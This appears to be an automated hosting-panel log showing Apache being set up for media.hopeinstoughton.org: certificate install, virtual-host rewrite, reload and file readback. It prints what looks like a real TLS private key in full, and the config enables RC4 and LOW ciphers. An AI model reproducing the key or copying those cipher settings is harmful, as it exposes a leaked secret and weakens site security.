GE3tIO9Vs7KkSe0UBXOzOnF63Jm9jGkA_yiInroMPwY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GE3tIO9Vs7KkSe0UBXOzOnF63Jm9jGkA_yiInroMPwY


2026-04-23 06:00:41: 

chmod 755 /tmp/pkp662163; /tmp/pkp662163; rm /tmp/pkp662163

2026-04-23 06:00:42: 




2026-04-23 06:00:48: Establishing a connection
2026-04-23 06:00:48: 

PUT: /tmp/pkp454993

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
rm GE3tIO9Vs7KkSe0UBXOzOnF63Jm9jGkA_yiInroMPwY


2026-04-23 06:00:48: 

chmod 755 /tmp/pkp454993; /tmp/pkp454993; rm /tmp/pkp454993

2026-04-23 06:00:48: 




2026-04-23 06:00:48: Establishing a connection
2026-04-23 06:00:48: 

PUT: /tmp/pkp158011

#!/bin/bash
temp_file=$(mktemp)
TARGET=761f20410d05cde2a6e96bdaa7145760.crt

cat > $temp_file <<'endmsg'
d9:51:e2:6c:36:f3:65:82:cd:7e:14:39:b7:69:49:b2

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBb02jZUDwNCldUG8M/dBhGOBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIzMDUwMjE3WhcNMjYwNzIyMDUwMjE2WjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAoINwR5HOu664wh9LRFm2vHdTSpbmmI3g+qOCkdsD4psLlArz
ftJf62LZEyy6zXMjmw0DQC6vBUCF5oBLD1hA18n9H2Zfm4Cdw6rMzjzZn0miMruQ
Gv2o8EK+CPVJmW9ygX0ssMTfHcXWtOgoBuIYJfydzjz658HpAtjV1GKQ9bbjylEF
Alenth6TCsgCw/RrLU1ZEFmgAEcrr8FEmTC0OutweG6DS3JMHF6YG8C7C+F92cIX
+MrydUHgO9PlrtgS8SFJyml2Dl3pWX86wPQd2Epjt59EV5MYwozPQLkcoFVAutV9
MlFQDAMUlIa9ptXNIvz9tSrcdkk62/78AhMUfQIDAQABo4ICJjCCAiIwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFDjziHqq5kRBZPlNyG0l4oWGohpEMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWVkaWEuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxo
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzIuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB
+gD4AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGduO04oQAA
BAMARzBFAiAx+klnvhJA0hupckH1tuH+FCmyJNR5AJripA7IJW/26wIhAPO7vz24
HfCmFChOVaZrg11mhKyR82YEcqpilO9N4eVWAH4AJuNkblhpISO8ND9HJDWbN5LN
JFqI2BXTkzP9mRirRyMAAAGduO04wQAIAAAFAAmKAEQEAwBHMEUCIQD2JUx233UA
kQrdlXfxz/HC7PPiJkGmjzDgF15ieNX7/QIgMeRsuIF3fzL1QFoBsJef/ldPRhAb
YiwsOuW/6gJQzbIwDQYJKoZIhvcNAQELBQADggEBAG4RMhB0RpneJ8KRCt1QgdiD
Z/5251EFE+OTlzDU4xdEhMTSgKFaf5AvBTkytZe/xKhYyb1sQw2gHHbo99h/k/0M
l5OgLGsufYZbQLFWnhFhzVvr1WoKsM4/+g0PZE4AcvgI1ugKkx4ou5FdESool9p1
+0lUPgvLtTwln/GGTP7q1O/T8vXo+OXokKbBa7+urYoMKLtwCi1JfCSR5HK2bS3I
Zr3owr4/p6ZW1czK59lOrFeQ2BjEKht3RqRBM/isA5bunPPR1I5Z9m+FCBuIptXk
TeiongWy23X3CVJLppL3mF5aEaUjnPZmpLqWBZoogXbnmg93i38DSwzlTXDnnY4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCgg3BHkc67rrjC
H0tEWba8d1NKluaYjeD6o4KR2wPimwuUCvN+0l/rYtkTLLrNcyObDQNALq8FQIXm
gEsPWEDXyf0fZl+bgJ3DqszOPNmfSaIyu5Aa/ajwQr4I9UmZb3KBfSywxN8dxda0
6CgG4hgl/J3OPPrnwekC2NXUYpD1tuPKUQUCV6e2HpMKyALD9GstTVkQWaAARyuv
wUSZMLQ663B4boNLckwcXpgbwLsL4X3Zwhf4yvJ1QeA70+Wu2BLxIUnKaXYOXelZ
fzrA9B3YSmO3n0RXkxjCjM9AuRygVUC61X0yUVAMAxSUhr2m1c0i/P21Ktx2STrb
/vwCExR9AgMBAAECggEAEgdRWCiPYNM6G0uqh43QEZERgOI8GkxtRZmR89H2uMAT
Z9hnCwqUDXs3yIiQnrzc9fBbOh1EOUHLCF3GkH2oItSkIp+8A1pJ3g1UHaIGC3cY
ybv5bp6pF/tXHuh2EM7MvLCTkXM7YDu1ZvJgdI12iuW5z81XnSpRgqlaMxWzFHX9
xSvNB3M+/1V93cqOZ7vkna5Z1yaQzHOlGrE1kzgzFp5CEPheBzvZ5Y3xMG/gCwhC
FZJ7/v9jooTExaEoIntTLE0V3eCpwg6vGWBdSACgJ2H0sfX9fWRFLI6LNR02G7O3
0p8B+DXxplCti+fRt+ql3C6BvzO6wCzvUYa/QrzZQQKBgQDSAAeoHrv4eGDZKQdC
x7uLl2n5N3t5pyymrWK0xkkpcc7w9NwQ1Vf3HUffqGZu6vX863VYn6qxYolIPE1a
Cr5UGVxYs9ctZCr4t1M7g2Q7MuolOMBAUWh+pZqtwNMS+XVMfxkN7Zw4sWCvL0Zq
TuPdIu0udWAEHAFWnWOA3PmUcQKBgQDDrGR7jfDOI3eAqZJrQZf6jZy47j328fjE
A9qa8BdIDZyYlLPVfOOEfSoH+XQ5mF8Z7LcLLpRJNuBD5DFQJgyuVhu906zVANmf
+0G12Ky19MUhzoYA4XvthDYPbVAIcAlAfUxcGSI6pQNKxSfssDu+cpt64173PRz1
X7+Wf42WzQKBgASpiYH7BLNUgNnxZj7eTlSgDPNCfxRJWN1udgWLbW5lH3IMDaK2
Cdjrpn/ZrkSCJOnzlExeZxy/EksvQ4xfNrCJS5qQi5NvaODSuR9WIHCMBdTDuMj0
xbwiExgOcuE19pu3Kqg7gT9k+L+K7iZIEBkFwHxKkNImiQUSQ3ZF8aiRAoGAJgsw
hi00sn+GzocpppzcNaSu4e3AMnEdUs8FA7bGcAXlemz/AfUEL1A+icpgZIpRgzLY
692kiw+WTtzhEZo0QPkQ77lmEwvVRBuPzRFRkxcB9O64cxdkBuv7rsgsFVfjFJzH
6eghFZHbr//hIU2qb/7MZ/opDpzdMn/pOhOWrckCgYAWuaM2T6iRSu0njo3hhbgb
e614Js5WiHlv5yDSVSbCyRPipUsVyqtVbPGbcU25asfjxIvdYL0bCP/XGqbRecOQ
ruSqqtqliIrYN89kOH3aLN2zqtXzbEz/lDAL1QqclAyd83Yw/TFbokXdqIdKETw7
hAtsq4HvLG+6c78dCLuLRQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-23 06:00:48: 

chmod 755 /tmp/pkp158011; /tmp/pkp158011; rm /tmp/pkp158011

2026-04-23 06:00:48: 


dir=/etc/ssl/certs


2026-04-23 06:00:48: 

PUT: /tmp/pkp879572

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-23 06:00:48: 

chmod 755 /tmp/pkp879572; /tmp/pkp879572; rm /tmp/pkp879572

2026-04-23 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 49

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-23 06:00:48: 

PUT: /tmp/pkp883119

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_media_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf= 1'
fi


2026-04-23 06:00:48: 

chmod 755 /tmp/pkp883119; /tmp/pkp883119; rm /tmp/pkp883119

2026-04-23 06:00:48: 




2026-04-23 06:00:48: 

PUT: /tmp/pkp952710

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-23 06:00:48: 

chmod 755 /tmp/pkp952710; /tmp/pkp952710; rm /tmp/pkp952710

2026-04-23 06:00:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:00:49: Establishing a connection
2026-04-23 06:00:49: 

PUT: /tmp/pkp303481

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-23 06:00:49: 

chmod 755 /tmp/pkp303481; /tmp/pkp303481; rm /tmp/pkp303481

2026-04-23 06:00:49: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:00:49: 

PUT: /tmp/pkp400728

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:00:49: 

chmod 755 /tmp/pkp400728; /tmp/pkp400728; rm /tmp/pkp400728

2026-04-23 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf	1673

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-23 06:00:49: 

PUT: /tmp/pkp906603

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:00:49: 

chmod 755 /tmp/pkp906603; /tmp/pkp906603; rm /tmp/pkp906603

2026-04-23 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt	5369
d9:51:e2:6c:36:f3:65:82:cd:7e:14:39:b7:69:49:b2

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBb02jZUDwNCldUG8M/dBhGOBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIzMDUwMjE3WhcNMjYwNzIyMDUwMjE2WjAkMSIwIAYDVQQD
